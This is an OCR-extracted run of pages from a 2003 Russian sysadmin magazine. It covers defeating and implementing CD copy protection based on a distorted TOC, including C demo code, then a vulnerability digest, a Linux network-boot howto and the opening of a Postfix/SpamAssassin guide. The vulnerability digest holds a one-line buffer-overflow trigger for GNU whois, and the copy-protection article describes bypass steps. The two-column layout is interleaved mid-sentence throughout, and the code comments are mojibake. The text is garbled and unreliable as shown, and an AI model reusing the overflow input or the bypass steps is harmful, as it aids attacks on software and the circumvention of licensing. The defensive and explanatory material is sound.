секций), и сейчас мы продемонстрируем как. программой Alcohol, предварительно скорректировав pre-
gap Mode (как уже сказано выше, Alcohol определил его
Так как же все-таки скопировать неправильно, перепутав Mode 1 с Mode 2). Согласно стан-
такой диск? дарту режим сектора задается пятнадцатым, считая от
Конечно, с помощью «Добермана Пинчера» (или любого нуля, байтом его заголовка. Если этот байт равен одному
другого блочного копировщика файлов), HIEW, двух об- (что, собственно, и наблюдается в нашем случае), то и
разов защищенного диска (один – с первой сессией – от Mode сектора будет 1, но не 2.
Clone CD, другой – со второй сессией – от Alcohol) мы При условии, что все сделано правильно, после запи-
можем воссоздать идентичную копию оригинального дис- си собственноручно сформированного образа диска мы
ка путем их совокупного объединения, но… это будет как- получаем практически идентичный оригинал. Просто? Да
то не по-хакерски, да и вообще некрасиво. проще простого! И написать автоматический копировщик,
Чтобы не писать свою собственную программу «про- автоматизирующий наш труд, можно буквально за не-
жига» диска, ограничимся использованием Clone CD. сколько часов! Если чтение «сырых» секторов с диска
При условии, что подсунутый ему образ диска запечат- представляет для вас проблему, воспользуйтесь исход-
лен правильно, Clone CD обычно справляется с прожи- ными текстами утилит ASPI32.raw/SPTI.raw, как раз та-
гом «на ура». Итак, у нас есть более и менее верный кое чтение и осуществляющих.
файл image.ccd, содержащий TOC, но недостает файла Так что искажение TOC – не очень-то надежный прием
образа image.img. Попробуем его получить? Будем от- защиты от копирования, как ни крути. Правда, от обычных
талкиваться от того, что LBA-адреса всех секторов дис- пользователей, вооруженных Clone CD/Alcohol, он все-таки
ка пронумерованы последовательно, включая области, спасает, а больше от защиты зачастую и не требуется.
занятые Lead-In/Lead-Out и прочим служебным барахлом.
Разумеется, непосредственное чтение служебных обла- Пример реализации защиты
стей диска на секторном уровне невозможно, но… имен- на программном уровне
но на этом мы и собираемся сыграть! Последовательно Покажем теперь, как такая защита может быть реализо-
читая диск с первого по последний сектор, мы обнару- вана на программном уровне. Самое простое, что можно
жим, что сектора с LBA-адресами с 0 по 2055 сектор сделать, – отправить приводу команду «сырого» чтения
включительно читаются без каких-либо проблем, после TOC (opcode: 43h, format: 2h) и сравнить возращенный ею
чего наступает сумеречная зона нечитающихся секто- результат с эталоном. Какие именно поля TOC защита
ров, протянувшаяся вплоть до сектора 13307. Здесь сек- будет проверять, – это ее личное дело. По минимуму дос-
тора либо совсем не читаются либо возвращаются в таточно проверить количество сессий и стартовый адрес
сильно мутированном виде, легко опознаваемые по от- искаженного трека. По максимуму можно контролировать
сутствию правильной синхропоследовательности в их весь TOC целиком. Естественно, от побайтового сравне-
заголовке. Наконец, с адреса 13308 чтение вновь про- ния контролируемого TOC с оригиналом настоятельно ре-
должается без каких-либо проблем. комендуется воздержаться, т.к. это неявно закладывает
Судя по всему мы имеем дело с двухсессионным диском защиту на особенности микропрограммной прошивки
и сумеречная зона между сессиями есть ни что иное, как читающего привода. Стандарт ничего не говорит о том, в
Lead-Out/Lead-In. Накинув два сектора на post-gap (при ус- каком порядке должно возвращаться содержимое TOC, и
ловии, что он записан с соблюдением стандарта), получа- потому его бинарное представление может варьировать-

42
администрирование
ся от привода к приводу. Грамотно спроектированная за- CDB[7] = HIBYTE(MAX_TOC_SIZE); // ðàçìåð...
CDB[8] = LOBYTE(MAX_TOC_SIZE); // ...áóôåðà
щита должна анализировать только те поля, к содержи-
мому которых она привязывается явно. // ÷èòàåì TOC
while(1)
Демонстрационный пример, приведенный ниже, как раз {
и иллюстрирует технику корректной привязки к TOC. Разу- // ïîñûëàåì CDB-áëîê SCSI/ATAPI-óñòðîéñòâó
a = SEND_SCSI_CMD(argv[1], CDB, ATAPI_CDB_SIZE, ↵
меется, явная проверка целости TOC может быть элемен- NO_SENSE, TOC, MAX_TOC_SIZE, SCSI_DATA_IN);
тарно обнаружена хакером и выкинута из программы как // TOC óñïåøíî ïðî÷èòàí, ðâåì êîãòè
if (a == SCSI_OK) break;
ненужная, поэтому не стоит копировать этот демонстраци-
онный пример один к одному в свои программы. Лучше // ïðîèçîøëà îøèáêà. Âîçìîæíî ïðèâîä íå ãîòîâ?
// âûäåðæèâàåì ïàóçó
используйте значения полей TOC как рабочие константы, Sleep(TRY_DELAY);
жизненно необходимые для нормальной работоспособно- // ìàêñèìàëüíîå êîëè÷åñòâî ïîïûòîê óæå âûøëî?
if (try++ == MAX_TRY)
сти программы, – в этом случае сличение паспортов с ли- { fprintf(stderr,"-ERR: can not read ↵
цами будет не столь наглядным. Естественно, явная про- TOC\x7\n"); return -1;}
}
верка оригинальности диска все равно обязана быть, но
ее основная цель отнюдь не защитить программу от взло- // TOC ïðî÷èòàí, ïðèñòóïàåì ê åãî àíàëèçó
//---------------------------------------
ма, а довести до сведения пользователя, что проверяемый
диск с точки зрения защиты не является лицензионным. // ïðîâåðêà êîëè÷åñòâà ñåññèé
if ((TOC[3] - TOC[2]) != (_N_SESSION-1))
{fprintf(stderr, "-ERR: not original ↵
Ëèñòèíã 8. Äåìîíñòðàöèîííûé ïðèìåð ïðîñòåéøåé çàùèòû, ïðèâÿ- CD\n");return -1;}
çûâàþùåéñÿ ê èñêàæåííîìó TOC è íå ïîçâîëÿþùåé ñåáÿ êîïèðîâàòü.
// ïðîâåðêà ñòàðòîâîãî LBA-àäðåñà òðåêà _TRACK
/*-------------------------------------------------------- //--------------------------------------------
* // îïðåäåëåíèå ðåàëüíîé äëèíû TOC
* crack me 9822C095h real_len = TOC[0]*0x100L+TOC[1];
* ================== // ïåðåáîð âñåõ entry
* for (a = 4; a < real_len; a+=11)
* äåìîíñòðàöèÿ òåõíèêè ïðèâÿçêè ê èñêàæåííîìó TOC; {
* äëÿ ðàáîòå ïðîãðàììå òðåáóåòñÿ ëàçåðíûé äèñê, ïðîææåííûé // ýòî íàø òðåê?
* ñîîòâåòñòâóþùèì îáðàçîì if (TOC[a+3] == _TRACK)
---------------------------------------------------------*/ if ((((TOC[a + 4]∗60L) + TOC[a + 5])∗75L) + ↵
#include <stdio.h> TOC[a + 6] != _TRACK_LBA)
#include <windows.h> {fprintf(stderr, "-ERR: ↵
#include "CD.h" not original LBA\n"); ↵
#include "SPTI.h" return -1;}
#include "ASPI32.h" else
break;
// ïàðàìåòðû çàùèùåííîãî äèñêà, êîòîðûå ìû áóäåì ïðîâåðÿòü }
//------------------------------------------------------–
#define _N_SESSION 2 // êîëè÷åñòâî ñåññèé // ýòî îðèãèíàëüíûé äèñê!
#define _TRACK 1 // íîìåð ïðîâåðÿåìîãî òðåêà printf("Hello, original CD\n");
#define _TRACK_LBA 0x6B124 // ñòàðòîâûé LBA-àäðåñ }
// òðåêà _TRACK
Предлагаемая защита не копируется Clone CD (т.к. он
// ïàðàìåòðû ïðîãðàììû
//-------------------- создает всего одну сессию вместо ожидаемых двух), но
#define MAX_TRY 3 // ìàê. êîë-âî ïîïûòîê ÷òåíèÿ TOC легко обходится Alcohol, который хоть и помещает на
#define TRY_DELAY 100 // çàäåðæêà ìåæäó ïîïûòêàìè
#define MAX_TOC_SIZE (2352) // ìàêñèìàëüíûé ðàçìåð TOC место первой секции непотребный мусор, зато вполне кор-
ректно воссоздает оригинальный TOC.
main(int argc, char **argv) Для усиления защиты мы можем попытаться не только
{ проверять обе сессии на существование, но и контролиро-
// îñíîâíûå ïåðåìåííûå
long a, real_len, try = 1; вать целостность их содержимого. Разумеется, не обяза-
// ñþäà áóäåò ÷èòàòüñÿ TOC тельно перелопачивать каждую из секций целиком. Доста-
unsigned char TOC[MAX_TOC_SIZE];
// SCSI CDB-áëîê äëÿ SCSI/ATAPI-óñòðîéñòâ точно выбрать несколько ключевых секторов, желательно
unsigned char CDB[ATAPI_CDB_SIZE]; имеющих по возможности уникальное содержимое. По-
// TITLE стойте! – воскликнет внимательный читатель. Разве автор
fprintf(stderr,"crackme 9822C095 by Kris Kaspersky\n"); не предостерегал нас о последствиях такой проверки?!
if (argc <2) Ведь никто не может гарантировать, что на оборудовании
{ пользователя эти сектора вообще прочтутся! Что ж, отве-
fprintf(stderr,"USAGE:crackme.9822C095h.exe ↵
drive\n"); чу я. Закладываться на читабельность секторов действи-
fprintf(stderr,"\tdrive - \\\\.\\X: or ↵ тельно категорически не рекомендуется, но вот контроли-
Trg.Lun\n");
return -1; ровать успешно просчитавшиеся сектора можно и нужно!
} То есть: если ключевые сектора не читаются, то все ок и
// èíèöèàëèçàöèÿ áóôåðîâ нет никаких поводов считать диск нелицензионным – это
memset(CDB, 0, ATAPI_CDB_SIZE); memset(TOC, 0, ↵ просто у конечного пользователя оборудование такое (в
MAX_TOC_SIZE);
смысле кривое). Другое дело, если чтение секторов про-
// ãîòîâèì CDB-áëîê шло без ошибок, но вместо ключевых данных в них оказа-
CDB[0] = 0x43; // READ TOC
CDB[2] = 0x2; // RAW TOC лось нечто совсем иное. Вот тогда, действительно, пробле-
CDB[6] = 0; // íîìåð ïåðâîé ñåññèè ма не в оборудовании, а в диске.

№9(10), сентябрь 2003 43


администрирование
1
Усиленный вариант защиты уже не копируется Alcohol Посмотрите внимательно на лицевую панель своего
(т.к. вместо оригинального содержимого первой сессии CD-ROM, видите – внизу лотка расположено крохотное
Alcohol помещает на диск какой-то дикий мусор), но мо- отверстие порядка 1 мм в диаметре? Воспользовавшись
жет быть скопирован вручную по методике, описанной любым длинным тонким и достаточно прочным предме-
выше. К тому же, привязка к искаженному TOC элемен- том, например, металлической канцелярской скрепкой,
тарно отламывается в отладчике/дизассемблере. Так что слегка приоткройте лоток, введя «отмычку» в указанную
дальнейшее совершенствование защиты практически дырку до упора и еще чуть-чуть надавив. Все! – дальше
полностью бессмысленно. От «простых смертных» пользо- лоток можно выдвинуть уже руками. Внимание! Во-пер-
вателей мы уже защитились, а от хакеров мы не сумеем вых, проделывайте эту операцию только при выключен-
защититься все равно (во всяком случае, не этим спосо- ном компьютере, а во-вторых, держите «отмычку» строго
бом). В любом случае более продвинутые защиты – тема горизонтально, иначе вы можете промазать и угодить в
отдельного разговора. какой-нибудь нежный узел, основательно его повредив.

Условные обозначения ная область служит своеобразным индикатором конца


 Под приводом NEC понимается _NEC CD-RW NR-9100A; сессии и/или диска и помогает оптической головке не
firmware version 1.4. вылететь за пределы диска. Пишущие приводы должны
 Под приводом ASUS понимается ASUS CD-S500/A; корректно обрабатывать диски с незакрытыми сессиями,
firmware version 1.4K. однако обыкновенные приводы CD-ROM и аудиопроигры-
 Под приводом PHILIPS понимается PHILIPS CDRW2412A; ватели это делать не обязаны. Внимание! Отсутствие
firmware version P1.55. выводной сессии (равно как и некорректное задание ее
адреса) может повредить некоторые модели приводов
Alcohol 120% – отличный копировщик защищенных дис- (один из них PHILIPS).
ков, условно-бесплатную версию которого можно утянуть с Емкость выводной области односессионного диска по
сайта http://www.alcohol-soft.com/. Автоматически ломает стандарту составляет 13,5 Mб (6750 секторов или 1,5 ми-
более половины всех существующих типов защит от копи- нуты). Емкость выводных областей для второй и после-
рования и позволяет динамически монтировать образы за- дующих сессий многосессионных дисков уменьшена до
щищенных дисков на виртуальный привод CD-ROM, что 4 Мб (0,5 минуты, или 2250 секторов). Содержимое вы-
очень удобно для экспериментов. К сожалению, монтирова- водной области недоступно на программном уровне. Ви-
нию подлежат лишь «правильные» образы, коими большин- зуально выводная область выглядит равномерно освещен-
ство образов защищенных дисков отнюдь не являются. ным блестящим кольцом.
Clone CD – хороший копировщик защищенных дисков, Program Area – программная область. Область диска,
условно-бесплатную версию которого можно утянуть по расположенная между Lead-In- и Lead-Out-областями и со-
следующему адресу: http://www.elby.ch/. С копированием держащая информационные треки с музыкой или данны-
защищенных дисков в полностью автоматическом режи- ми. Это – основная область диска, целиком доступная на
ме Clone CD справляется скорее плохо, чем хорошо, од- секторном уровне с паузами между аудиотреками вклю-
нако после ручного шаманства с настройками и непос- чительно.
редственно самим образом защищенного диска он мо- TOC – (Table Of Content) – таблица содержимого или
жет скопировать добрую половину существующих типов попросту оглавление диска. Служебная область диска,
защит. Утверждение о том, что Clone CD «берет» практи- записанная в Q-канале подкода вводной области диска,
чески все существующие защиты от копирования, – лож- также называемой Lead-In-областью (такое блестящее
ное и невероятно далеко от действительности. кольцо у внутреннего края диска). Многосессионный диск
имеет несколько независимых TOC – по одному TOC на
Глоссарий каждую закрытую сессию.
Lead-In Area – вводная область диска. Служебная область TOC содержит информацию о стартовых адресах ввод-
диска, по сути своей представляющая нулевой трек, все- ной/выводной областей диска и атрибуты всех его треков
гда предшествующий первому треку PA. Каждая сессия (как-то тип трека: аудио или данные, а если данные, то в
многосессионного диска имеет собственную вводную об- каком режиме – Mode 1, Mode 2 и т. д., абсолютный стар-
ласть. Размер вводной области по стандарту составляет товый адрес трека и номер соответствующей ему сессии).
9 мегабайт (60 секунд, или 4500 секторов). Q-канал под- Также TOC содержит часть ATIP и указатели на местопо-
кода вводной сессии содержит TOC, среди прочей полез- ложение ее продолжения.
ной информации, указывающей либо на адрес выводной Непосредственно (т.е. на секторном уровне) для чте-
области (закрытый диск), либо на адрес вводной области ния TOC недоступен, но для извлечения его содержимо-
следующей сессии (открытый диск). Содержимое ввод- го в «сыром» виде можно воспользоваться следующей
ной области недоступно для чтения на программном уров- SCSI/ATAPI командой READ TOC/PMA/ATIP (операцион-
не. Визуально вводная область выглядит равномерно ос- ный код: 43h) с format field == 2h.
вещенным блестящим кольцом. Однако не стоит путать TOC с файловой системой –
Lead-Out Area – выводная область диска. Служебная между ними нет ничего общего! Файловые системы на
область диска, условно обозначаемая треком номер AAh лазерных дисках хранятся непосредственно в PM и сво-
и замыкающая собой всякую закрытую сессию. Вывод- бодно доступны для чтения на секторном уровне.

44
bugtraq
Переполнение буфера через Удаленный отказ
веб-приложение в GNU Whois-клиенте в обслуживании в Sendmail
Переполнение буфера обнаружено в GNU Whois-клиен- Уязвимость обнаружена в почтовом сервере Sendmail.
те. Веб-приложения, которые вызывают whois, позволя- Удаленный атакующий, способный контролировать отве-
ют удаленному пользователю выполнить произвольный ты DNS-сервера, может аварийно завершить работу по-
код. Воздействие зависит от того, как приложение вызы- чтового сервера или выполнить произвольный код на уяз-
вает или интегрирует Whois-клиента. вимом сервере.
Посылая специально обработанное значение для име- Уязвимость обнаружена в конфигурациях, в которых
ни хоста, когда вызывается whois с «-g» параметром ко- используется DNS-маппинг в файле sendmail.cf.
мандной строки, локальный или удаленный пользователь Функция dns_parse_reply() формирует цепочку
может вызвать переполнение буфера: RESOURCE_RECORD_T-структур (динамически распреде-
ляя память для них). Из-за неправильной инициализации
astharot@astharot <mailto:astharot@astharot> astharot ↵ этих структур, когда sendmail получает плохой DNS-ответ
$ whois -g `perl -e "print 'a'x2000"`
(в котором фактический размер ответа не равен заявлен-
Когда whois использует отдельное приложение, пере- ному), структура вызывает dns_free_data (sm_resolve.c:227)
полнение буфера позволяет локальному пользователю с rr_next полем последней цепочки структуры, запол-
выполнить произвольный код с привилегиями локально- ненной мусором. В dns_free_data() sendmail попытает-
го пользователя (что само по себе не является уязвимос- ся освободить цепочку структур – пройдет через цепоч-
тью защиты). Однако некоторые веб-приложения, исполь- ку, используя rr_next указатель и останавливаясь, когда
зующие whois, могут позволить удаленному пользовате- rr_next == NULL. Мусор в rr_next поле заставит sendmail
лю выполнить произвольный код с привилегиями веб-сер- вызвать free() на случайном адресе. В результате ра-
вера. бота Sendmail аварийно завершится.
Уязвимость обнаружена в GNU Whois 4.6.6 и более ран- Уязвимость обнаружена в sendmail 8.12.8 и более ран-
них версиях. них.
Для устранения уязвимости измените следующую Sendmail выпустил небольшую заплату, устраняющую
строку в файле whois.c обнаруженную уязвимость:
sprintf(p--, "-%c %s ", ch, optarg); --- sm_resolve.c.orig Fri Jun 28 00:43:24 2002
+++ sm_resolve.c Thu Jul 10 01:21:17 2003
на @@ -233,6 +233,7 @@
snprintf(p--, sizeof(fstring), "-%c %s ", ch, optarg); dns_free_data(r);
return NULL;
}
+ memset(*rr, 0, sizeof(**rr));
(*rr)->rr_domain = sm_strdup(host);
Удаленное выполнение произвольного if ((*rr)->rr_domain == NULL)
кода в Helix Universal Server и RealServer {
Уязвимость обнаружена в RealNetworks Helix Universal
Server. Удаленный пользователь может выполнить про-
извольный код с root-привилегиями.
Удаленный пользователь может запросить URL, содер-
жащий большое число определенных символов, чтобы Истощение памяти
заставить сервер выполнить произвольный код. Недоста- в системном вызове semget(2)
ток находится в обработчике протокола. в операционной системе OpenBSD
Уязвимость обнаружена в Helix Universal Server 9 и Уязвимость обнаружена в операционной системе
более ранних версиях (RealSystem Server 8, 7 и RealServer OpenBSD в системном вызове semget(2). Локальный
G2). пользователь может аварийно завершить работу систе-
мы.
Системный вызов semget(2) не проверяет размеры гра-
Удаленный отказ в обслуживании ниц в пользовательских данных. Локальный пользователь
в Piolet File Sharing-клиенте может выполнить специально обработанный запрос, что-
Отказ в обслуживании обнаружен в Piolet File Sharing-кли- бы заставить функцию использовать всю доступную па-
енте. Удаленный пользователь может аварийно завершить мять, что приведет к зависанию системы.
работу клиента. Уязвимость обнаружена в OpenBSD version 3.3.
Удаленный пользователь может подключиться к целе- Для устранения уязвимости установите соответству-
вому клиенту на 701 TCP-порт и послать чрезмерное ко- ющее обновление, которое можно скачать отсюда:
личество данных, чтобы аварийно завершить работу це- ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.3/common/
левого клиента. Согласно сообщению, атака не будет за- 002_semget.patch
регистрирована приложением. Составил Александр Антипов
Уязвимость обнаружена в Piolet File Sharing Client 1.05.
Способов устранения обнаруженной уязвимости не су-
ществует в настоящее время.

№9(10), сентябрь 2003 45


администрирование

ЗАГРУЗКА ПО СЕТИ

46
администрирование
Многие современные материнские платы позволяют заг-
ружать операционную систему не только с жесткого дис-
ка или дискеты, но и по сети. Причем загружаться по
сети «умеют» компьютеры как со встроенными сетевы-
ми адаптерами, так и обладающие внешними сетевыми
карточками.
В этой статье мы рассмотрим, как загрузить операци-
онную систему Linux по сети. Многие дистрибутивы по-
зволяют устанавливать операционную систему по сети.
Однако не нужно путать установку по сети и загрузку по
сети. В первом случае вы загружаетесь с системной дис-
кеты, а дальше программа установки просто копирует все
необходимые ей файлы, находящиеся, как правило, на
каком-то FTP-сервере, на ваш компьютер. В случае с заг-
рузкой по сети файлы не копируются на ваш компьютер,
а загружаются по сети при необходимости. Сначала заг-
ружается ядро системы (мы говорим о Linux), а потом не-
обходимые ему файлы – корневая файловая система (с
использованием NFS). Данный способ позволяет нам ис-
пользовать бездисковые станции. Если вам нужна «слу-
жебная» бездисковая станция, которая будет выполнять
только определенные задачи, например, принт-сервера
или шлюза, можно вовсе отказаться от NFS, а загружать
все сразу – и ядро, и корневую файловую систему – лишь
бы оперативной памяти хватило.
Примечание: NFS (Network File System) – сетевая фай-
ловая система. Позволяет монтировать файловые систе-
мы, находящиеся на удаленных компьютерах.
Наверное, вы знаете, что существуют так называемые
NFS-дистрибутивы, которые также позволяют хранить все
необходимые файлы на NFS-сервере. Но NFS-дистрибу-
тив нельзя использовать на бездисковых станциях. Как
минимум для запуска такого дистрибутива на рабочей
станции должен быть установлен обычный дисковод для
гибких дисков. Загрузчик LILO (или любой другой) загру-
жается с дискеты, затем вы передаете ему несколько па-
раметров, как минимум два:
 root=/dev/nfs – сообщает ядру, что мы будем исполь-
зовать загрузку по NFS;
 nfsroot – указывает путь к корневой файловой систе-
ме в формате:

[<server_ip>:]<root_dir>[,<nfs_options>]

Как видите, ядро знает, что корневая файловая сис-


тема загружается по NFS. Сейчас мы попробуем сделать
так, чтобы ядро даже «не заметило», что оно загружает-
ся по сети. Для этого мы будем использовать серверы rarp
(Reverse Address Resolution Protocol) и tftp (Trivial File
Transfer Protocol). Сервер rarp мы будем использовать для
того, чтобы сопоставить MAC-адрес бездисковой станции
определенному IP-адресу нашей локальной сети. Сервер
tftp будет хранить наш загрузочный образ, о котором мы
поговорим немного позже.
Теперь приступим к практической реализации. Для на-
чала сопоставим MAC-адрес бездисковой станции IP-ад-
ДЕНИС КОЛИСНИЧЕНКО ресу нашей сети. Как я уже говорил, для этого будем ис-
пользовать сервер rarp, который должен быть установлен
на вашей системе.

№9(10), сентябрь 2003 47


администрирование
/sbin/rarp –s 192.168.1.117 00:00:a1:77:e5:c9  Мы указываем статический IP-адрес 192.168.1.117:

Данную команду нужно включить в сценарий загрузки ip=192.168.1.117:192.168.1.1:192.168.1.1: ↵


255.255.255.0:net_pc1:eth0:
вашей системы, чтобы не вводить ее вручную при каж-
дом запуске. Проблему идентификации нашей станции Сервер BOOTP можно с успехом заменить сервером
можно решить и по-другому – с помощью DHCP. Для это- DHCP, однако с небольшими изменениями в файле кон-
го в файле конфигурации /etc/dhcpd.conf нужно прописать фигурации. Пример файла конфигурации будет приведен
директиву host для каждой бездисковой станции: в конце статьи. Имя net_pc1 должно быть прописано в
файле /etc/hosts или сервере DNS:
host net_pc1{
hardware ethernet 00:00:a1:77:e5:c9 192.168.1.117 net_pc1.domain.ru net_pc1
fixed-address 192.168.1.117
}
Теперь можно приступить к настройке сервера tftp.
Как определить MAC-адрес сетевой платы? Для этого Установите сервер tftp. После установки в каталоге /etc/
существует много программ, но целесообразнее исполь- xinetd.d появится специальный файл, содержащий пара-
зовать стандартные программы, которые всегда есть под метры запуска сервиса tftp. Вы можете отредактировать
рукой: в Linux – это ifconfig, а в Windows – winipcfg (рис. 1). их по своему усмотрению, после чего нужно перезапус-
тить сервис xinetd:

service xinetd restart

Если же у вас до сих пор используется устаревший


суперсервер inetd, в файл /etc/inetd.conf нужно добавить
следующую строку (или раскомментировать ее, если она
уже есть):

tftp dgram udp wait root /bin/in.tftpd in.tftpd –s /tftp

Как обычно, нужно перезапустить сервис inetd, чтобы


изменения вступили в силу. В каталог /tftp нужно помес-
тить тот самый образ, содержащий ядро и базовую кор-
невую файловую систему.
Вот теперь самое время поговорить об образе и о
тех файлах, которые он должен содержать. Начнем, по-
жалуй, с ядра. Перекомпилируйте ядро, включив в него
поддержку сети, файловой системы ext2 и Initial RAM
disk support (секция Block devices). Все остальное от-
ключайте по максимуму – ведь мы же не хотим переда-
вать вместе с ядром несколько мегабайт дополнитель-
ных модулей. Если у вас одна бездисковая станция,
возможно, такой режим работы не скажется на функ-
ционировании всей сети, но попробуем представить, что
таких станций у нас десять и все они включаются одно-
Ðèñóíîê 1. Ïðîãðàììà winipcfg временно… Можно даже отключить поддержку моду-
Ядру Linux нужно будет передать параметр ip, опреде- лей – все, что нужно, вы поместите в ядро. Такое ядро
ляющий настройки IP-интерфейса. В общем случае он не будет компактным, но с одним файлом вам будет
выглядит так: проще работать.
После того, как ядро будет откомпилировано, жела-
ip=<client_ip>:<server_ip>:<gateway>:<netmask>: ↵ тельно проверить его работоспособность – запишите его
<hostname>:<device>:<autoconf>
на дискету и загрузитесь с нее:
Как это сделать, вы узнаете чуть позже, а пока рас-
смотрим несколько примеров: cat bzImage > /dev/fd0
 Мы используем протокол BOOTP: rdev /dev/fd0 /dev/hda1
rdev –v /dev/fd0 –1
ip=::::net_pc1::bootp rdev –R /dev/fd0 1
rdev –r /dev/fd0 0

 Мы используем сервер rarp: Команда rdev используется в случае, если ядро и кор-
невая файловая система находятся на разных дисках. В
ip=::::net_pc1::rarp нашем случае ядро – на дискете, а файловая система –

48
администрирование
на жестком диске (раздел /dev/hda1). Если загрузка про- Вот сейчас все должно быть нормально. Во всяком
шла успешно, значит, ваше ядро вполне работоспособно случае, ядро системы должно загрузиться по сети. Если
и его можно использовать. возникнет ошибка во время загрузки системы, то это оз-
Самое сложное – еще впереди. Вам нужно самостоя- начает только одно – вы где-то допустили ошибку при
тельно подготовить набор файлов корневой файловой «сборке» собственного микродистрибутива.
системы, то есть создать свой небольшой дистрибутив. Обычно бездисковые станции используются в качестве
Подробнее о создании микродистрибутивов вы може- служебных компьютеров, например, маршрутизаторов
те прочитать: или шлюзов. А что делать, если вам нужна полноценная
 в статье Всеволода Стахова «Создание загрузочных рабочая станция, скажем, X-терминал, за которым днями
дискет и CD-дисков Linux», которая была опублико- и ночами должны работать пользователи (например, вы
вана в июньском номере «Системного администра- создаете малобюджетное интернет-кафе)? Тогда наш заг-
тора»; рузочный образ должен содержать только ядро и загруз-
 в статье «Изготовление мульти-загрузочного CD-дис- чик без файловой системы. Загрузчик должен передать
ка» (http://gazette.linux.ru.net/); ядру следующие параметры:
 на моем сайте dkws.narod.ru.
root=/dev/nfs nfsroot=192.168.1.1:/exports/nfs
Конечно, всегда можно пойти по пути наименьшего со-
противления и использовать уже готовый микродистри- 192.168.1.1 – это IP-адрес сервера NFS.
бутив, помещающийся на одной – двух дискетах. Такой В файле /etc/exports указываются экспортируемые
дистрибутив очень легко найти в сети. Конкретный дист- файловые системы:
рибутив советовать не буду, поскольку выбор зависит от
выполняемых им функций. /exports/nfs (ro)
/exports/nfs-rw (rw)
Кроме ядра и файловой системы Linux, наш образ дол- /mnt/cdrom net_pc1(ro)
жен содержать загрузчик Linux: кто-то ведь должен пере-
дать параметры ядру Linux (вы еще не забыли о парамет- Первая строка означает, что экспортируется файло-
ре ip?). Подойдет любой загрузчик, который в состоянии вая система /exports/nfs и доступ к ней в режиме «только
справиться с возложенной на него задачей – передачей чтение» (read only – ro) получат все компьютеры. К фай-
параметров ядру. Если файл образа уже готов, можно ловой системе /exports/nfs-rw также получат доступ все
записать загрузчик прямо в него – Linux все равно с чем компьютеры, но в режиме «чтение-запись». К CD-ROM
работать – с файлом или устройством. Вот конфигураци- получит доступ только компьютер net_pc1.
онный файл lilo.conf: Как и обещал, привожу небольшой фрагмент файла
конфигурации /etc/dhcpd.conf, позволяющего серверу
boot=/tftp/net.img DHCP работать в режиме BOOTP:
prompt
timeout=50
compact subnet 192.168.1.0 255.255.255.0 {
vga=normal option subnet-mask 255.255.255.0;
read-only option domain-name-servers 192.168.1.1;
image=/vmlinuz
label=linux # Åñëè âû íå óêàæåòå äèðåêòèâó dynamic-bootp, âàø DHCP-ñåðâåð
append=" ip=::::nfs-client::bootp" # íå áóäåò ðàáîòàòü â ðåæèìå BOOTP
range dynamic-bootp 192.168.1.100 192.168.1.200
}
Когда ваш образ будет полностью готов, запишите его
в каталог /tftp и можно попробовать запустить бездиско- host net_pc1{
hardware ethernet 00:00:a1:77:e5:c9
вую станцию (не забудьте в SETUP включить загрузку по fixed-address 192.168.1.117
сети). Не получается? Тогда переименуем файл образа }
следующим образом:
Все ваши вопросы и комментарии к статье буду рад
ln –sf net.img C0A80175.I586 выслушать по адресу: dhsilabs@mail.ru

Откуда взялось такое страшное имя? Все очень про- Ссылки:


сто: IP-адрес бездисковой станции записывается в шес- 1. Пакет Bootkit, предназначенный для создания загру-
тнадцатиричном формате, все точки игнорируются. За- зочных дисков:
тем через точку записывается код архитектуры бездис- ftp://sunsite.unc.edu/pub/Linux/system/Recovery/
ковой станции (прописными буквами). Код архитектуры 2. Очень много ссылок на микродистрибутивы Linux:
можно узнать, выполнив команду arch… на бездисковой http://www.linuxlinks.com
станции. А как же ее выполнить – ведь там нет операци- 3. Много программ для создания загрузочных дисков:
онной системы? Тогда просто попробуйте угадать – это http://www.ibiblio.org/pub/Linux/system/recovery/
несложно. Скорее всего, у вас будет установлен процес- 4. Сайт http://dkws.narod.ru – много полезной документа-
сор фирмы Intel или совместимый с ним, значит, первая ции по Linux, в том числе документы Howto на русском
буква кода будет I. Затем следует код процессора – 386, языке.
486, 586 (Pentium), 686 (Pentium II, Celeron).

№9(10), сентябрь 2003 49


администрирование

POSTFIX+...+SPAMASSASSIN
MINI-HOWTO
Спам. Рассылка рекламы. Бороться
с нежелательной почтой можно
по-разному. Эта статья расскажет,
как прикрутить фильтр SpamAssassin
к MTA Postfix. Надеюсь, статья получится
выдержанной в стиле mini-howto.

АНДРЕЙ МОЗГОВОЙ
50
администрирование
Пожалуйста, не пытайтесь прикрутить фильтр к ненаст- ...
# DrWeb AntiVirus Filter
роенному/работающему серверу Postfix. Далее будем по- #=====================================================================
лагать, что у читателя настроен и нормально работает по- drweb unix - n n - - pipe
flags=R user=drweb argv=/opt/drweb/drweb-postfix -f ↵
чтовый сервер и уже установлен SpamAssassin. ${sender} -- ${recipient}
Установка SpamAssassin (коротко): SpamAssassin – это --- END MASTER.CF ---
perl-модуль. Состоит из трех основных частей:
 spamd – daemon, к которому подключается клиент; Фильтровать почту будем, используя именно spamc/
 spamc – client, который подключается к spamd. На вход spamd, а не через perl-скрипт spamassassin. Так оно на-
клиенту подаются письма, с выхода забираются от- много быстрее… да и вообще симпатичнее.
фильтрованные письма; Создаем в системе пользователя с домашним катало-
 spamassassin – perl-скрипт, работает сам по себе, под- гом «/etc/mail/spamassassin», shell можно не давать (/bin/fasle).
робней – «man spamassassin». Установка подробно Но валидный shell очень удобен, когда надо добавить/уда-
описана в файле INSTALL. лить какой-нибудь адрес в White/Black List. Решайте сами.
Также создаем группу spam. Каталоги /etc/mail/spamassassin
Мой Postfix работает в следующей связке: Postfix+Cy- и /usr/local/share/spamassassin отдаем в распоряжение бюд-
rus-SASL+Mysql+Courier-IMAP+SquirrelMail+DrWeb, а те- жету spam (chown –R spam.spam /path/to/dir).
перь еще и SpamAssassin. С документацией по настройке spamd трудности [2], я
 Postfix – сам MTA; использовал веб-интерфейс, написанный Michael Moncur [3].
 Cyrus-SASL – используется для авторизации пользо- Принцип фильтрации следующий: во всех письмах, рас-
вателей (пока только SMTP AUTH); познанных как спам, поля темы меняются на «SPAM:
 MySQL – БД – хранит все бюджеты пользователей; <original subject>».
 Courier-IMAP – POP3- и IMAP-сервисы; Запускаем spamd: прочтите руководство и выберите
 SquirrelMail – веб-интерфейс для пользователей, кста- необходимые параметры (man spamd). Меня устроило
ти, нормально работает с кириллицей; следующее:
 DrWeb – антивирус, работает как фильтр, в этом соб-
ственно вся проблема и была. Если прикручивать /usr/bin/spamd -d -a -c -m 50 -u spam
